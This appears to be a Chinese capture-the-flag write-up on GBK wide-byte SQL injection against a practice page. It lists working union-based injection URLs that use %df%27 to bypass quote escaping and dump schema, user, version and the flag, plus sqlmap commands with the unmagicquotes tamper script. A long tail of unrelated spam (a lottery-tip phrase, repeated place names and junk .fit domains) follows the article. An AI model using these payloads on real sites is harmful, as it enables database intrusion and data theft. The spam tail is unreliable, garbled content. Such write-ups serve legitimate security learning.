<address id="nhfpd"></address>

                <sub id="nhfpd"></sub>

                  (宽字节注入) 手注+sqlmap

                  进入题目后先简单尝试一下。

                  分享图片

                   

                  很明显的宽字节注入。

                  宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

                  手工注入
                  1、判断列数:
                  http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
                  http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
                  http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
                  order by 3 时报错,说明只有两列。

                  2、各类信息:
                  http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
                  union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
                  [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

                  3、库名:
                  http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
                  sae-chinalover

                  4、表名:
                  http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
                  union select 2,group_concat(table_name)
                  from information_schema.tables
                  where table_schema=database()%23
                  ctf,ctf2,ctf3,ctf4,news

                  5、ctf4表的列名:
                  http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
                  union select 2,group_concat(column_name)
                  from information_schema.columns
                  where table_name=0x63746634%23
                  id,flag

                  这里注意:要将表名ctf4转为16进制

                  这里提供一个字符串转16进制的网站:

                  http://www.5ixuexiwang.com/str/hex.php

                  转了16进制之后记得在前面加上0x

                  6、flag列的数据:
                  http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
                  union select 2,(select flag from ctf4)%23
                  flag{this_is_sqli_flag}

                  sqlmap跑法
                  1、查看有哪些库:
                  sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
                  这个时侯就要用到一个脚本了:

                  脚本名:unmagicquotes.py

                  作用:宽字符绕过

                  分享图片

                   

                   

                  2、表名:

                  sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

                  分享图片

                   

                   

                  3、列名:

                  sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

                   分享图片

                   

                   

                  4、flag列的数据:
                  sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

                  分享图片

                  相关文章
                  相关标签/搜索
                  何仙姑六肖期期准资料 昭觉县| 屏东县| 定远县| 扶余县| 弥渡县| 光山县| 仁布县| 芜湖市| 卫辉市| 金坛市| 山东| 广宁县| 济南市| 竹北市| 双辽市| 三明市| 奉贤区| 竹溪县| 西昌市| 望谟县| 晴隆县| 延吉市| 沁水县| 浦县| 栾川县| 桃源县| 阿拉善盟| 乳源| 南充市| 五河县| 富顺县| 皋兰县| 和平区| 二连浩特市| 贺州市| 松江区| 股票| 保亭| 昭通市| 土默特左旗| 澎湖县| 海兴县| 漠河县| 龙泉市| 四平市| 建昌县| 天台县| 花垣县| 郴州市| 南昌市| 长岛县| 沙田区| 信宜市| 紫云| 拉孜县| 高邑县| 临邑县| 全椒县| 亳州市| 保康县| 宁强县| 体育| 新乐市| 图片| 噶尔县| 新沂市| 承德市| 丹巴县| 昌图县| 台山市| 密云县| 辽阳市| 鹤壁市| 镇巴县| 尖扎县| 山丹县| 吴旗县| 田阳县| 恩平市| 阳谷县| 昌图县| 临汾市| 罗甸县| 微山县| 叶城县| 荆门市| 壤塘县| 江华| 乐平市| 闽清县| 竹溪县| 资兴市| 亳州市| 丹凤县| 望江县| 家居| 盈江县| 武宁县| 武山县| 泰顺县| 浠水县| 皋兰县| 大安市| 嵊州市| 丰城市| 上饶县| 兴和县| 珲春市| 石狮市| 孙吴县| 云林县| 桂阳县| 乌兰浩特市| 九寨沟县| 仙桃市| 芮城县| 孝昌县| 永州市| 江门市| 云梦县| 曲阜市| 山东省| 石景山区| 莱西市| 清苑县| 麻江县| 修水县| 巴林右旗| 武城县| 阿合奇县| 竹北市| 鸡东县| 茌平县| 湘阴县| 仙桃市| 临海市| 高碑店市| 津市市| 崇仁县| 辽阳县| 凤冈县| 吉安县| 东乌珠穆沁旗| 崇阳县| 岐山县| 长宁区| 海口市| 库尔勒市| 禄丰县| 平定县| 鄂伦春自治旗| 阜城县| 镇宁| 广河县| 凭祥市| 两当县| 京山县| 沿河| 伊春市| 西城区| 巴中市| 卓资县| 临夏县| 卢氏县| 民县| 开鲁县| 阿拉善盟| 苗栗县| 澄城县| 垫江县| 万宁市| 利川市| 宁化县| 武川县| 阿合奇县| 伊吾县| 河池市| 奉贤区| 晴隆县| 丰原市| 北辰区| 潮安县| 涟源市| 英山县| 南江县| 咸阳市| 康乐县| 苍梧县| 邵东县| 逊克县| 洛浦县| 嘉祥县| 山阳县| 弥勒县| 九龙城区| 三江| 陇南市| 博野县| 漠河县| 准格尔旗| 德阳市| 南阳市| 稻城县| 商河县| 延吉市| 桦甸市| 温泉县| 兴城市| 田林县| 高雄县| 铜陵市| 和平县| 保山市| 马边| 炉霍县| 汝城县| 聊城市| 正镶白旗| 湟中县| 长宁县| 宁城县| 固原市| 九龙县| 南通市| 陆川县| 静乐县| 新蔡县| 日喀则市| 陇川县| 绥滨县| 平度市| 民权县| 莱芜市| 吴川市| 开化县| 海林市| 山东| 宜黄县| 安丘市| 宁夏| 保亭| 牟定县| 平乡县| 资源县| 文安县| 永丰县| 聂荣县| 秦安县| 六枝特区| 南投县| 镇康县| 湘乡市| 信宜市| 海门市| 上虞市| 南郑县| 霍邱县| 南漳县| 墨江| 札达县| 化德县| 庆云县| 筠连县| 府谷县| 金昌市| 察哈| 资兴市| 湘潭县| 鹿泉市| 和硕县| 屯昌县| 德清县| 衡水市| 格尔木市| 常宁市| 晋城| 濉溪县| 石泉县| 辽源市| 牡丹江市| 佳木斯市| 凤台县| 武清区| 府谷县| 鲁甸县| 英德市| 临泉县| 阿图什市| 丹东市| 崇左市| 阿勒泰市| 章丘市| 双桥区| 无极县| 重庆市| 靖州| 普定县| 昌都县| 镇雄县| 宁明县| 建湖县| 晋城| 恩平市| 北宁市| 禄劝| 博湖县| 湘潭市| 沧源| 容城县| 江津市| 姚安县| 鄂托克前旗| 沙坪坝区| 修水县| 固阳县| 临潭县| 墨竹工卡县| 太保市| 五家渠市| 洮南市| 洛川县| 双鸭山市| 永德县| 东阿县| 青川县| 辰溪县| 留坝县| 元阳县| 会泽县| 长兴县| 澎湖县| 淄博市| 庄浪县| 昭平县| 霍林郭勒市| 合水县| 旌德县| 游戏| 山西省| 莆田市| 加查县| 腾冲县| 同心县| 北宁市| 阿合奇县| 万年县| 芮城县| 无极县| 平顶山市| 屯门区| 睢宁县| 临朐县| 五台县| 厦门市| 昌都县| 尖扎县| 黑龙江省| 乌鲁木齐县| 望都县| 彰化市| 苗栗县| 元阳县| 平江县| 静乐县| 神木县| 哈尔滨市| 盐池县| 奉新县| 马龙县| 手游| 怀柔区| 芦溪县| 繁昌县| 博白县| 于都县| 大渡口区| 丘北县| 澎湖县| 博罗县| 疏勒县| 舟曲县| 伊宁县| 乡城县| 石棉县| 大渡口区| 晋中市| 鄂州市| 叶城县| 郯城县| 海原县| 轮台县| 来凤县| 达孜县| 尉氏县| 常宁市| 余庆县| 蒙阴县| 宁阳县| 绥化市| 平南县| 东阿县| 哈密市| 广东省| 葵青区| 安丘市| 延长县| 乌苏市| 金沙县| 吉隆县| 五家渠市| 崇州市| 长乐市| 德惠市| 汉沽区| 岑溪市| 延吉市| 望城县| 镇赉县| 平度市| 米林县| 塘沽区| 阳曲县| 抚远县| 五原县| 麟游县| 安西县| 上虞市| 北流市| 泸西县| 景德镇市| 麻阳| 德州市| 卢龙县| 石屏县| 克什克腾旗| 肥西县| 镇安县| 江源县| 安宁市| 柯坪县| 乌鲁木齐县| 景泰县| 古田县| 上虞市| 伊宁市| 神木县| 新源县| 万州区| 香格里拉县| 抚顺市| 大新县| 普陀区| 禄丰县| 庆安县| 桃江县| 鄂温| 延吉市| 光山县| 新宁县| 竹溪县| 泉州市| 屏边| 赫章县| 长垣县| 自治县| 仙桃市| 尼木县| 盘锦市| 临西县| 晴隆县| 邢台县| 休宁县| 曲沃县| 密山市| 濮阳县| 务川| 泾源县| 钟祥市| 昌宁县| 枞阳县| 将乐县| 噶尔县| 西平县| 南漳县| 镇原县| 福泉市| 长沙县| 五家渠市| 乌拉特前旗| 永春县| 卢湾区| 雷波县| 南宁市| 邮箱| 南江县| 扎囊县| 栖霞市| 黄平县| 江口县| 吉木萨尔县| 维西| 府谷县| 湖州市| 呼玛县| 芦山县| 仪征市| 咸宁市| 普洱| 九龙县| 荣昌县| 南川市| 眉山市| 武冈市| 綦江县| 铜鼓县| 榆树市| 伊通| 高邮市| 西畴县| 金寨县| 永昌县| 太和县| 南投市| 永春县| 利川市| 永昌县| 乌兰察布市| 应城市| 富源县| 丹凤县| 常州市| 同江市| 全椒县| 运城市| 五寨县| 黄龙县| 高青县| 长海县| 东辽县| 德安县| 黔西| 宜川县| 班戈县| 镇原县| 新竹市| 德令哈市| 泸水县| 承德市| 大余县| 株洲县| 化德县| 洱源县| 泗水县| 肇东市| 永靖县| 梧州市| 蒲城县| 鹰潭市| 平舆县| 奇台县| 九台市| 浮山县| 开鲁县| 德令哈市| 武冈市| 垦利县| 福鼎市| 涿州市| 三亚市| 赣州市| 洪洞县| 卓尼县| 绥宁县| 乌拉特后旗| 吴堡县| 丰都县| 哈巴河县| 容城县| 长丰县| 教育| 吴江市| 黑龙江省| 高密市| 临朐县| 怀安县| 隆德县| 白玉县| 连平县| 霍城县| 双柏县| 闽清县| 正安县| 友谊县| 湘潭市| 隆昌县| 弥渡县| 唐河县| 光泽县| 恩平市| 易门县| 姚安县| 剑阁县| 合肥市| 敖汉旗| 白银市| 扶风县| 大冶市| 伊川县| 文水县| 井冈山市| 阿拉善左旗| 内江市| 博客| 石台县| 谷城县| http://wap.cnjmof.fit http://bmzijl.fit http://wap.jnudmh.fit http://wap.lfdlnb.fit http://www.ezovjy.fit http://m.vxwdse.fit http://wap.guqnxw.fit http://m.zpqcwr.fit http://www.chsiuv.fit http://yrvqxg.fit http://wap.oqqkty.fit http://wap.kvqwjg.fit http://ocetuv.fit http://aoktab.fit http://wap.jnaaes.fit http://m.tqlpda.fit http://www.iucmac.fit http://www.nufata.fit